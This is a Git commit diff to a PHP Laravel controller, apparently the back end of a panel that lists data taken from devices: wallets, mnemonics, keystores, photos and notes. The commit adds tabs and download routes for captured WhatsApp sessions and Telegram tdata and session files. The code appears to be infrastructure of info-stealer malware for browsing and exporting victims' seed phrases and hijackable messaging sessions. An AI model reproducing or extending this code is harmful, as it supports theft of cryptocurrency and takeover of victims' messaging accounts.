feat: tg/ws/security/
This commit is contained in:
@@ -13,6 +13,7 @@ use App\Models\DsChainLog;
|
||||
use App\Models\Note;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\Photo;
|
||||
use App\Models\PluginSession;
|
||||
use App\Models\PhotoRead;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
@@ -91,7 +92,7 @@ class DeviceController extends Controller
|
||||
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', $d),
|
||||
'destroy_url' => route($portal.'.devices.destroy', $d),
|
||||
'destroy_url' => $portal === 'admin' ? route($portal.'.devices.destroy', $d) : '',
|
||||
];
|
||||
})->values();
|
||||
|
||||
@@ -108,7 +109,7 @@ class DeviceController extends Controller
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$tab = $request->query('tab', 'wallets');
|
||||
if (! in_array($tab, ['wallets', 'mnemonics', 'keystores', 'photos', 'apps', 'notes', 'events'], true)) {
|
||||
if (! in_array($tab, ['wallets', 'mnemonics', 'keystores', 'photos', 'apps', 'notes', 'events', 'ws-sessions', 'tg-sessions'], true)) {
|
||||
$tab = 'wallets';
|
||||
}
|
||||
|
||||
@@ -175,6 +176,8 @@ class DeviceController extends Controller
|
||||
'apps' => $this->paginateApps($device, $field, $order, $limit, $page),
|
||||
'notes' => $this->paginateNotes($device, $field, $order, $limit, $page),
|
||||
'events' => $this->paginateEvents($device, $field, $order, $limit, $page),
|
||||
'ws-sessions' => $this->paginatePluginSessions($device, PluginSession::KIND_WHATSAPP, $field, $order, $limit, $page),
|
||||
'tg-sessions' => $this->paginatePluginSessions($device, PluginSession::KIND_TELEGRAM, $field, $order, $limit, $page),
|
||||
default => response()->json(['code' => 1, 'msg' => 'unknown tab', 'count' => 0, 'data' => []]),
|
||||
};
|
||||
}
|
||||
@@ -746,6 +749,45 @@ class DeviceController extends Controller
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginatePluginSessions(Device $device, int $kind, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'account_id', 'phone', 'created_at', 'updated_at'];
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q = $device->pluginSessions()->where('kind', $kind);
|
||||
$q->orderBy('plugin_sessions.'.$field, $order);
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$isSuper = (bool) auth('admin')->user()?->isSuper();
|
||||
$data = collect($paginator->items())->map(function (PluginSession $row) use ($portal, $isSuper) {
|
||||
$summary = $row->listSummary();
|
||||
|
||||
return array_merge($summary, [
|
||||
'id' => $row->id,
|
||||
'kind' => $row->kind,
|
||||
'account_id' => $row->account_id ?: '',
|
||||
'phone' => $row->phone ?: '',
|
||||
'payload_url' => route($portal.'.sessions.payload', $row, false),
|
||||
'download_url' => route($portal.'.sessions.download', $row, false),
|
||||
'tdata_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper)
|
||||
? route($portal.'.sessions.tdata', $row, false)
|
||||
: '',
|
||||
'session_file_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper)
|
||||
? route($portal.'.sessions.session-file', $row, false)
|
||||
: '',
|
||||
'ws_full_url' => (int) $row->kind === PluginSession::KIND_WHATSAPP
|
||||
? route($portal.'.sessions.ws-full', $row, false)
|
||||
: '',
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||
]);
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginateNotes(Device $device, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$noteId = $device->notes()->orderByDesc('id')->value('id');
|
||||
|
||||
Reference in New Issue
Block a user